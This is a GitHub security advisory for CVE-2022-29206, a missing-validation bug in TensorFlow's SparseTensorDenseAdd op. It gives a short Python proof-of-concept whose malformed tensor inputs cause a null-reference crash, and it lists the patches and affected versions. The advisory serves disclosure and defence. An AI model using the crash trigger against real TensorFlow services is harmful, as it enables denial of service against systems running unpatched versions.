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Security Advisories: GSA_kwCzR0hTQS1yYzl3LTVjNjQtOXZxcc4AArBS

Missing validation results in undefined behavior in `SparseTensorDenseAdd

Impact

The implementation of tf.raw_ops.SparseTensorDenseAdd does not fully validate the input arguments:

import tensorflow as tf

a_indices = tf.constant(0, shape=[17, 2], dtype=tf.int64)
a_values = tf.constant([], shape=[0], dtype=tf.float32)
a_shape = tf.constant([6, 12], shape=[2], dtype=tf.int64)

b = tf.constant(-0.223668531, shape=[6, 12], dtype=tf.float32)

tf.raw_ops.SparseTensorDenseAdd(
    a_indices=a_indices, a_values=a_values, a_shape=a_shape, b=b)

In this case, a reference gets bound to a nullptr during kernel execution. This is UB.

Patches

We have patched the issue in GitHub commit 11ced8467eccad9c7cb94867708be8fa5c66c730.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

Permalink: https://github.com/advisories/GHSA-rc9w-5c64-9vqq
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yYzl3LTVjNjQtOXZxcc4AArBS
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: over 2 years ago
Updated: over 1 year ago


CVSS Score: 5.5
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-rc9w-5c64-9vqq, CVE-2022-29206
References: Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 26.8

Affected Packages

pypi:tensorflow-gpu
Dependent packages: 155
Dependent repositories: 11,499
Downloads: 412,914 last month
Affected Version Ranges: >= 2.8.0, < 2.8.1, >= 2.7.0, < 2.7.2, < 2.6.4
Fixed in: 2.8.1, 2.7.2, 2.6.4
All affected versions: 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.7.0, 2.7.1, 2.8.0
All unaffected versions: 2.6.4, 2.6.5, 2.7.2, 2.7.3, 2.7.4, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.12.0
pypi:tensorflow-cpu
Dependent packages: 88
Dependent repositories: 2,483
Downloads: 917,127 last month
Affected Version Ranges: >= 2.8.0, < 2.8.1, >= 2.7.0, < 2.7.2, < 2.6.4
Fixed in: 2.8.1, 2.7.2, 2.6.4
All affected versions: 1.15.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.7.0, 2.7.1, 2.8.0
All unaffected versions: 2.6.4, 2.6.5, 2.7.2, 2.7.3, 2.7.4, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1, 2.16.2, 2.17.0
pypi:tensorflow
Dependent packages: 2,172
Dependent repositories: 73,755
Downloads: 17,575,889 last month
Affected Version Ranges: >= 2.8.0, < 2.8.1, >= 2.7.0, < 2.7.2, < 2.6.4
Fixed in: 2.8.1, 2.7.2, 2.6.4
All affected versions: 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.7.0, 2.7.1, 2.8.0
All unaffected versions: 2.6.4, 2.6.5, 2.7.2, 2.7.3, 2.7.4, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1, 2.16.2, 2.17.0